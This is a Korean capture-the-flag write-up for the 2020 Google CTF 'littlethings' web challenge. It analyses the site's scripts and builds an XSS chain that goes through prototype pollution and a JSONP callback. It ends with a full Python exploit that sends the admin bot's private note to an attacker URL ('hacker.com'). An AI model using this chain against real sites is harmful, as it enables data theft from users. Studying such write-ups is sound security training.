I left a little secret in a note, but it's private, private is safe. Note: TJMike🎤 from Pasteurize is also logged into the page.
https://littlethings.web.ctfcompetition.com
username, Profile image를 통해 Login을 할 수 있으며 /settings, /note, /logout 페이지와 user.js, utils.js, theme.js 가 존재한다.
/static/scripts/user.js
User Class와 make_user_object 함수가 정의되어 있다.
class User {
#username; #theme; #img
constructor(username, img, theme) {
this.#username = username
this.#theme = theme
this.#img = img
}
get username() {
return this.#username
}
get img() {
return this.#img
}
get theme() {
return this.#theme
}
toString() {
return `user_${this.#username}`
}
}
function make_user_object(obj) {
const user = new User(obj.username, obj.img, obj.theme);
window.load_debug?.(user);
// make sure to not override anything
if (!is_undefined(document[user.toString()])) {
return false;
}
document.getElementById('profile-picture').src=user.img;
window.USERNAME = user.toString();
document[window.USERNAME] = user;
update_theme();
}
/static/scripts/utils.js
DOM이 로드되면 사용자의 정보값을 make_user_object에 인자로 넘긴다.
// Page: /me
{"username":"NGA","img":"https://this_is_Profile_image_value","theme":{"cb":"set_light_theme","options":{},"choice":1}}
// Page: utils.js
// make sure that variable is undefined
function is_undefined(x) {
return typeof x === "undefined" && x == undefined
}
window.addEventListener('DOMContentLoaded', ()=>{
fetch('/me').then(e => e.json()).then(make_user_object);
})
/static/scripts/theme.js
update_theme에서 "/theme?cb=~"를 src 로 script tag를 생성한다.
function set_dark_theme(obj) {
const theme_url = "/static/styles/bootstrap_dark.css";
document.querySelector('#bootstrap-link').href = theme_url;
localStorage['theme'] = theme_url;
}
function set_light_theme(obj) {
theme_url = "/static/styles/bootstrap.css";
document.querySelector('#bootstrap-link').href = theme_url;
localStorage['theme'] = theme_url;
}
function update_theme() {
const theme = document[USERNAME].theme;
const s = document.createElement('script');
s.src = `/theme?cb=${theme.cb}`;
document.head.appendChild(s);
}
document.querySelector('#bootstrap-link').href = localStorage['theme'];
/theme?cb=
a-z, 0-9, ".", "_", "="를 사용할 수 있었다.
foo({"version":"b1.13.7","timestamp":1598445847277})
/settings
Login에 사용한 값과 웹사이트의 태마를 수정할 수 있고 ?__dubug__ 를 발견할 수 있었다.
<main>
<div class="container pt-5 w-50">
<h1>Settings</h1>
<hr class="featurette-divider">
<form class="form" id="settings" method="POST">
<label class=active for=username>Name:</label>
<input class="form-control" id=username name=username value="NGA">
<label class=active for=img>Profile picture:</label>
<input class="form-control" placeholder="https://" type=url id=img name=img value="https://this_is_Profile_image_value">
<label class=active for=script-choice>Theme:</label>
<select class="form-control" id=script-choice name=script-choice>
<option value=1 selected>Light Mode</option>
<option value=2 >Dark Mode</option>
</select>
<input name="csrf" value="37ffa7a4-c453-438e-8130-27992a80b14f" hidden>
<button class="mt-3 btn btn-primary btn-block" type="submit">
Submit
</button>
</form>
</div>
</main>
<!-- ?__debug__ -->
?__debug__의 설정으로 모든 페이지에 /static/scripts/debug.js이 포함되어 있었다.
/static/scripts/debug.js
load_debug 함수에서 window.name Object와 user Object를 assign 함으로 user값을 원하는대로 조작할 수 있게된다.
// Extend user object
function load_debug(user) {
let debug;
try {
debug = JSON.parse(window.name);
} catch (e) {
return;
}
if (debug instanceof Object) {
Object.assign(user, debug);
}
if(user.verbose){
console.log(user);
}
if(user.showAll){
document.querySelectorAll('*').forEach(e=>e.classList.add('display-block'));
}
if(user.keepDebug){
document.querySelectorAll('a').forEach(e=>e.href=append_debug(e.href));
}else{
document.querySelectorAll('a').forEach(e=>e.href=remove_debug(e.href));
}
window.onerror = e =>alert(e);
}
function append_debug(u){
const url = new URL(u);
url.searchParams.append('__debug__', 1);
return url.href;
}
function remove_debug(u){
const url = new URL(u);
url.searchParams.delete('__debug__');
return url.href;
}
/note
Private, Public한 note를 작성할 수 있으며 Private note는 littlethings에서 확인이 가능하며 Public note는 이전 문제였던 pasteurize에서 확인이 가능하다. 해당 문제는 pasteurize bot의 Private note를 읽어오면 된다.
<h3>Create new note</h3>
<hr class="featurette-divider">
<form class="form" method="post">
<label for="note-content">Note: </label>
<textarea class="form-control" id="note-content" name="content"></textarea>
<input name="csrf" value="c4f110cd-35c1-4403-a456-cbbbda56129b" hidden>
<label for="vis">Visibility: </label>
<select class="form-control" id="vis" name="visibility">
<option>private</option>
<option>public</option>
</select>
<input class="mt-3 btn btn-primary btn-block" type="submit" value="Submit">
</form>
pasteurize bot의 Private note를 읽기위해선 littlethings에서의 XSS를 찾아야 한다.
CSP로 인해 script-src: self 만 가능성이 있다.
/static/scripts/theme.js에 update_theme의 theme.cb를 조작해 XSS를 만들 수 있게 된다.
{
"<title>foo</title>":"bar",
"__proto__": {
"theme": {
"cb": "document.head.innerHTML=window.name.toString"
}
}
}
Javascript는 /theme?cb를 통해서만 실행이 가능함으로 한번에 Private note를 읽어올 수 없다.
location.search + img referer 로 Private note를 읽어올 수 있다.
#python3 exploit.py "https://hacker.com" "note"
from requests import *
from urllib.parse import quote
import base64
import re
import sys
my_url = sys.argv[1]
target_path = sys.argv[2]
html = """<title class='display-block'>&__debug__=1&text=</title>
<link rel='stylesheet' href='/static/styles/style.css'>
<iframe srcdoc='<script src=https://littlethings.web.ctfcompetition.com/theme?cb=top.location.search=top.document.firstElementChild.innerText.toString></script>'></iframe>
""".replace("\n","")
window_name = """
{
"html": "
""" + html + """
",
"__proto__": {
"img": "
""" + my_url + """
",
"theme": {
"cb": "document.head.innerHTML=window.name.toString"
}
}, "showAll":"1"
}
"""
window_name = window_name.replace("\n","")
window_name = quote(base64.b64encode(window_name.encode()).decode())
url = "https://pasteurize.web.ctfcompetition.com/"
header = {"Content-Type":"application/x-www-form-urlencoded"}
data = "content[]=;window.name=atob(`{}`);location=`https://littlethings.web.ctfcompetition.com/{}?__debug__`;".format(window_name,target_path)
res = post(url, data=data,headers=header)
p = re.compile('<form action="(.*?)" method="POST" class="form row">')
print("report : ",p.findall(res.text)[0])
2020 Google CTF Web TECH SUPPORT 136pt (0) | 2020.08.26 |
---|---|
2020 Google CTF Web LOG-ME-IN 87pt (0) | 2020.08.25 |
2020 Google CTF Web Pasteurize 50pt (0) | 2020.08.25 |